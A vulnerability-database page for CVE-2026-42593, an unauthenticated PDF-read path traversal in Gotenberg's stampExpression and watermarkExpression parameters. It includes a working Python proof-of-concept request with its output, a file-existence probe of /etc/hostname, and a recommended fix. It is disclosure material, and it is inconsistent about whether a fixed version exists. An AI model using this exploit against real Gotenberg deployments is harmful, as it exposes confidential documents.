# CVE-2026-42593: gotenberg (Medium 5.3) 🐹 🐹 Go Not in CISA KEV MEDIUM severity # CVE-2026-42593 — gotenberg MEDIUM CVE-2026-42593 is a medium-severity (CVSS 5.3) Path Traversal vulnerability in github.com/gotenberg/gotenberg/v8. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime. Gotenberg: Arbitrary PDF read via stampExpression and watermarkExpression in merge, split, and convert routes Also known as[GHSA-3cv5-q585-h563](/vulnerability/GHSA-3cv5-q585-h563)GO-2026-5080 Published May 14, 2026 Updated Oct 28, 2026 Affected 1 pkg Patched See advisory Exploits None indexed Exploitation data as of Nov 10, 2026 · OSV.dev, NVD, FIRST.org (EPSS) ## Exploitation Status ### Proof-of-concept exploit code exists - CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation. - CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks. Exploitation and automatability from CISA’s SSVC triage for CVE-2026-42593. ## EPSS Exploitation Probability [via FIRST.org ↗](https://www.first.org/epss/) 0.3%probability of exploitation in next 30 days Lower Risk0.00% Lower risk than most CVEs24th percentile — riskier than 24% of all scored CVEsHighest risk 0.00%0.30%0.60%0.90%0.1%0.3%Jun 26Sep 26Nov 26 Probability of exploitation in the next 30 days, from [FIRST.org EPSS](https://www.first.org/epss/). ## How urgent is this, really ## Where this sits among everything scored ## Real-World Exposure 1 pkg affected 🐹`github.com/gotenberg/gotenberg/v8` Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems. ## Description ### Summary Six conversion routes (`pdfengines/merge`, `pdfengines/split`, `libreoffice/convert`, `chromium/convert/url`, `chromium/convert/html`, `chromium/convert/markdown`) accept `stampSource=pdf` + `stampExpression=/path` and `watermarkSource=pdf` + `watermarkExpression=/path` from anonymous callers. The dedicated stamp/watermark routes require an uploaded file when the source type is image or pdf; these six routes only overwrite the expression when a file is uploaded, leaving the user-controlled path intact when no file is attached. pdfcpu opens the path and composites its pages onto the output PDF, which returns to the caller. An attacker reads any PDF the Gotenberg process can access on the container filesystem. ### Details The dedicated stamp route at `pkg/modules/pdfengines/routes.go:1322-1332` rejects requests missing the stamp file: ``` if stamp.Source == gotenberg.StampSourceImage || stamp.Source == gotenberg.StampSourcePDF { if stampFile == "" { return api.WrapError(errors.New("no stamp file provided"), ...) } stamp.Expression = stampFile } ``` The merge, split, LibreOffice, and Chromium routes use a lax pattern across twelve call sites (six stamp + six watermark): ``` // pkg/modules/pdfengines/routes.go:679-683 (merge), 803 (split); // pkg/modules/libreoffice/routes.go:307-311; // pkg/modules/chromium/routes.go:433-438, 508-513, 592-597 if (stamp.Source == gotenberg.StampSourceImage || stamp.Source == gotenberg.StampSourcePDF) && stampFile != "" { stamp.Expression = stampFile } if (watermark.Source == gotenberg.StampSourceImage || watermark.Source == gotenberg.StampSourcePDF) && watermarkFile != "" { watermark.Expression = watermarkFile } ``` When `stampFile == ""` (no file attached to the `stamp` form field), the guard short-circuits and `stamp.Expression` keeps the raw user-supplied `stampExpression` form string. The same pattern applies to `watermarkFile`/`watermarkExpression`. `pkg/modules/pdfcpu/pdfcpu.go:635` forwards the expression straight to the pdfcpu CLI: ``` args := []string{"stamp", "add", "-mode", "pdf", "--", stamp.Expression, onDesc, inputPath, outputPath} cmd, err := gotenberg.CommandContext(ctx, logger, cfg.BinPath, args...) ``` pdfcpu reads the target PDF at that path and composites its pages as a stamp on every page of the merged output. ### Proof of Concept Reproduction on the stock Docker image. The scenario models a deployment that mounts host paths into the container (common for document-processing pipelines) or where another request leaves a PDF in the shared `/tmp` filesystem: ``` docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8 docker exec gotenberg-poc sh -c 'cat > /tmp/victim_doc.pdf' < victim.pdf ``` Where `victim.pdf` contains extractable text such as `BOB-CONFIDENTIAL-CONTRACT-2026-04-20`. Alice attacks without auth: ``` import requests, io, subprocess T = "http://localhost:3000" minimal = (b"%PDF-1.4\n1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n" b"2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n" b"3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >>\nendobj\n" b"xref\n0 4\n0000000000 65535 f \n0000000009 00000 n \n" b"0000000058 00000 n \n0000000115 00000 n \n" b"trailer\n<< /Size 4 /Root 1 0 R >>\nstartxref\n180\n%%EOF\n") r = requests.post( f"{T}/forms/pdfengines/merge", files={"file1": ("a.pdf", io.BytesIO(minimal), "application/pdf"), "file2": ("b.pdf", io.BytesIO(minimal), "application/pdf")}, data={"stampSource": "pdf", "stampExpression": "/tmp/victim_doc.pdf"}, timeout=30, ) print(f"HTTP {r.status_code} bytes={len(r.content)}") open("/tmp/out.pdf", "wb").write(r.content) print(subprocess.run(["pdftotext", "/tmp/out.pdf", "-"], capture_output=True, text=True).stdout) ``` Observed output against gotenberg 8.31.0: ``` HTTP 200 bytes=1852 BOB-CONFIDENTIAL-CONTRACT-2026-04-20 ... ``` Non-PDF targets via `stampSource=pdf` (for example `/etc/hostname`) return HTTP 500 after pdfcpu fails to parse the file as PDF, which acts as a file-existence oracle. `stampSource=image` with non-image files returns HTTP 400 (image parsing rejects it). The same PoC applies with `stampSource` replaced by `watermarkSource` and `stampExpression` by `watermarkExpression`. ### Impact Any anonymous caller with access to port 3000 reads PDF files from any path the Gotenberg process can open. In the default Docker image with no volume mounts, the reachable set is limited to `/tmp///*.pdf` (files staged during another in-flight request) and any PDF files the base image happens to ship. In deployments that bind-mount host directories into the container (document processing pipelines, shared storage for Office document conversion), the attacker reads arbitrary PDF files under those mount points. The file-existence oracle additionally lets the attacker probe for the presence of non-PDF files anywhere the process can read. ### Recommended Fix Apply the dedicated stamp route's guard to all six stamp call sites and all six watermark call sites: ``` if stamp.Source == gotenberg.StampSourceImage || stamp.Source == gotenberg.StampSourcePDF { if stampFile == "" { return api.WrapError( errors.New("no stamp file provided for image or pdf source"), api.NewSentinelHttpError(http.StatusBadRequest, "Invalid form data: a stamp file is required for image or pdf source"), ) } stamp.Expression = stampFile } if watermark.Source == gotenberg.StampSourceImage || watermark.Source == gotenberg.StampSourcePDF { if watermarkFile == "" { return api.WrapError( errors.New("no watermark file provided for image or pdf source"), api.NewSentinelHttpError(http.StatusBadRequest, "Invalid form data: a watermark file is required for image or pdf source"), ) } watermark.Expression = watermarkFile } ``` Call sites: `pkg/modules/pdfengines/routes.go:679-683` (merge), `:803-807` (split), `pkg/modules/libreoffice/routes.go:307-311`, `pkg/modules/chromium/routes.go:433-438` (url), `:508-513` (html), `:592-597` (markdown), plus each route's watermark counterpart. * * * _Found by [aisafe.io](https://aisafe.io)_ ## Affected Packages 1 total Ecosystem Package Vulnerable range Fix 🐹Go `github.com/gotenberg/gotenberg/v8` all versions No fix ## Affected Products 1 product · 1 configurations Application `gotenberg`thecodingmachine < 8.32.0 range ## Detection & mitigation playbook Open-source dependency 1. ### Detect Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gotenberg/gotenberg/v8, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version. 2. ### Remediation status The records we use list no patched version of github.com/gotenberg/gotenberg/v8 for CVE-2026-42593. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range. 3. ### Mitigate without a patch Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves. ## Frequently Asked Questions \## Summary Six conversion routes (\`pdfengines/merge\`, \`pdfengines/split\`, \`libreoffice/convert\`, \`chromium/convert/url\`, \`chromium/convert/html\`, \`chromium/convert/markdown\`) accept \`stampSource=pdf\` + \`stampExpression=/path\` and \`watermarkSource=pdf\` + \`watermarkExpression=/path\` from anonymous callers. The dedicated stamp/watermark routes require an uploaded file when the source type is image or pdf; these six routes only overwrite the expression when a file is uploaded, leaving the user-controlled path intact when no file is attached. pdfcpu opens the path and composites its pages onto the O3 Security · Impact-Aware SCA ### Is CVE-2026-42593 in your dependencies? Find it across Go, including transitive dependencies. [Scan my dependencies](/book-demo) [How O3 SCA works](/impact-aware-sca)